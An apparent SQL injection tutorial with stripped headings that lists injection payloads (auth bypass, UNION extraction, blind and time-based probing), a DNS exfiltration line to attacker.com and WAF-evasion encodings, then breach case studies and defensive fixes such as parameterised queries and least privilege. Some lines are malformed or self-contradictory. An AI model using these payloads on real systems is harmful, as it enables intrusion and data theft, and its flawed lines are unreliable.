SQL Injection (SQLi)

Normal query:
  SELECT * FROM users WHERE email = 'user@example.com' AND password = 'secret123'

SQL injection:
  SELECT * FROM users WHERE email = 'admin@test.com' -- ' AND password = 'anything'
  The -- comments out the rest of the query
  Returns admin user without valid password

-- Input: ' OR 1=1 --
-- Query: SELECT * FROM users WHERE email = '' OR 1=1 --' AND password = 'x'

-- Input: ' UNION SELECT username, password FROM admins --
-- Query: SELECT name, email FROM users WHERE id = '' UNION SELECT username, password FROM admins --'
-- Returns admin credentials alongside normal results

-- Step 1: Find number of columns
' ORDER BY 1 --  ✓ (works)
' ORDER BY 2 --  ✓ (works)
' ORDER BY 3 --  ✓ (works)
' ORDER BY 4 --  ✗ (error — 3 columns)
-- So the query has 3 columns

-- Step 2: Find which columns accept strings
' UNION SELECT 'a', NULL, NULL --  ✓ (column 1 is string)
' UNION SELECT NULL, 'a', NULL --  ✓ (column 2 is string)
' UNION SELECT NULL, NULL, 'a' --  ✗ (column 3 is not string)

-- Step 3: Extract data
' UNION SELECT username, password, NULL FROM users --

-- Normal request returns "User found"
' AND 1=1 --  ✓ (User found — TRUE)
' AND 1=2 --  ✗ (User not found — FALSE)
-- Confirmed: vulnerable to blind SQLi

-- Extract database version character by character
' AND SUBSTRING(@@version, 1, 1) = 'M' --  ✓ (TRUE — version starts with 'M' for MySQL)
' AND SUBSTRING(@@version, 1, 1) = 'P' --  ✗ (FALSE)
-- Continue character by character: 'M', 'a', 'r', 'i', 'a', 'D', 'B'...

-- MySQL time-based
' IF (1=1, SLEEP(5), 0) --  ✓ (response takes 5 seconds)
' IF (1=2, SLEEP(5), 0) --  ✓ (response instant)

-- Extract data using time
' IF (SUBSTRING(@@version,1,1)='M', SLEEP(5), 0) --
-- True → 5 second delay
-- False → instant response

-- MySQL out-of-band via DNS
' LOAD_FILE(CONCAT('\\\\', @@version, '.attacker.com\\test')) --

-- Attacker's DNS server receives: MariaDB10.5.attacker.com
-- Exfiltration via DNS query (harder to block than HTTP)

  └─ SQLi in Heartland's payment processing web application
  └─ Attacker injected malicious SQL via input fields
  └─ Installed sniffers on internal network
  └─ 130 million credit cards stolen
  └─ $145M in fines, legal settlements, and remediation
  └─ Company spent years recovering reputation

  └─ SQLi in TalkTalk's customer portal
  └─ 157,000 customer records stolen (bank details, personal info)
  └─ Attacker was a 17-year-old using automated SQLi tools
  └─ £400,000 GDPR fine
  └─ 100,000 customers left (10% churn)
  └─ Cost: £60M in total

  └─ SQLi in the baggage claim system
  └─ Actually this was Magecart (client-side skimming), not SQLi
  └─ But used to illustrate: not all breaches are SQLi

# BROKEN: String concatenation
def get_user(email):
    query = f"SELECT * FROM users WHERE email = '{email}'"
    cursor.execute(query)  # SQL injection if email contains '

# FIXED: Parameterised query
def get_user(email):
    query = "SELECT * FROM users WHERE email = ?"
    cursor.execute(query, (email,))  # Email treated as data, not SQL
    return cursor.fetchone()

// Java JDBC — parameterised
PreparedStatement stmt = connection.prepareStatement(
    "SELECT * FROM users WHERE email = ? AND password = ?"
);
stmt.setString(1, email);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();  // Safe from SQLi

// C# Entity Framework — LINQ (parameterised by default)
var user = dbContext.Users
    .Where(u => u.Email == email && u.Password == password)
    .FirstOrDefault();  // Safe — no string concatenation

-- Safe if implemented correctly (parameters are not concatenated)
CREATE PROCEDURE GetUserByEmail
    @Email NVARCHAR(100)
AS
BEGIN
    SELECT * FROM users WHERE email = @Email
END

import re

def sanitise_email(email):
    # Whitelist approach — only allow valid email characters
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    if not re.match(pattern, email):
        raise ValueError("Invalid email format")
    return email

-- WRONG: Application connects as DBA
CREATE USER 'app_user' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'app_user';
-- SQLi → attacker can read/write any database, execute commands

-- RIGHT: Application has minimal permissions
CREATE USER 'app_user' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'app_user';
-- SQLi → attacker limited to SELECT/INSERT/UPDATE on one database

-- Comment substitution
' OR 1=1 --     → ' OR/**/1=1 --     (MySQL comments)
' OR 1=1 --     → ' OR 1=1 #          (MySQL hash comment)

-- Case variation
' UNION SELECT  → ' UnIoN SeLeCt  -- (if WAF checks lowercase)

-- Encoding bypass
' OR 1=1 --     → %27%20OR%201%3D1%20--%20 (URL encoding)
' OR 1=1 --     → 0x27204F5220313D31202D2D20 (hex encoding)

-- Null byte injection
' OR 1=1 --     → ' OR%001=1 --  (null byte truncates WAF rule)

-- HTTP parameter pollution
?id=1&id=2      → Some WAFs only check first param, backend uses second
?id=1&id=' OR '1'='1

-- Unicode normalisation
' OR 1=1 --     → ˀ OR 1=1 --  (Unicode homoglyphs)

# Look for these patterns:
query = "SELECT " + user_input + " FROM table"           # Direct concatenation
query = "SELECT %s FROM table" % user_input               # String formatting
query = "SELECT {} FROM table".format(user_input)         # String format method
query = f"SELECT {user_input} FROM table"                 # F-strings
cursor.execute(f"SELECT * FROM users WHERE id = {id}")   # Dynamic SQL in execute